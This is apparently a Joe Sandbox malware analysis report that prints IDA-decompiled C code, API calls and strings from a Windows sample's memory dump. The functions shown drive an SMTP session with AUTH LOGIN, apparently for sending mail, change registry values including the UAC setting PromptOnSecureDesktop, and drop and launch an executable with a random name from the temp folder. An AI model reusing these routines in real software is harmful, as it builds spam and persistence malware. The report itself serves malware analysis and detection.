%d=%p, xrefs: 004066F9
plgs:, xrefs: 004066AA

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

data, xrefs: 0040A85E
Too small respons, xrefs: 0040A9C9
ESMTP, xrefs: 0040AA38
AUTH LOGIN, xrefs: 0040A80C
., xrefs: 0040A8CA
quit, xrefs: 0040A86C
rcpt to:<%s>, xrefs: 0040A855
helo %s, xrefs: 0040A803
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
ehlo %s, xrefs: 0040A7F5
localcfg, xrefs: 0040AB0B
Too big smtp respons (%d bytes), xrefs: 0040A9B1
mail from:<%s>, xrefs: 0040A848
Incorrect respons, xrefs: 0040AB39

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E
localcfg, xrefs: 00408348

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
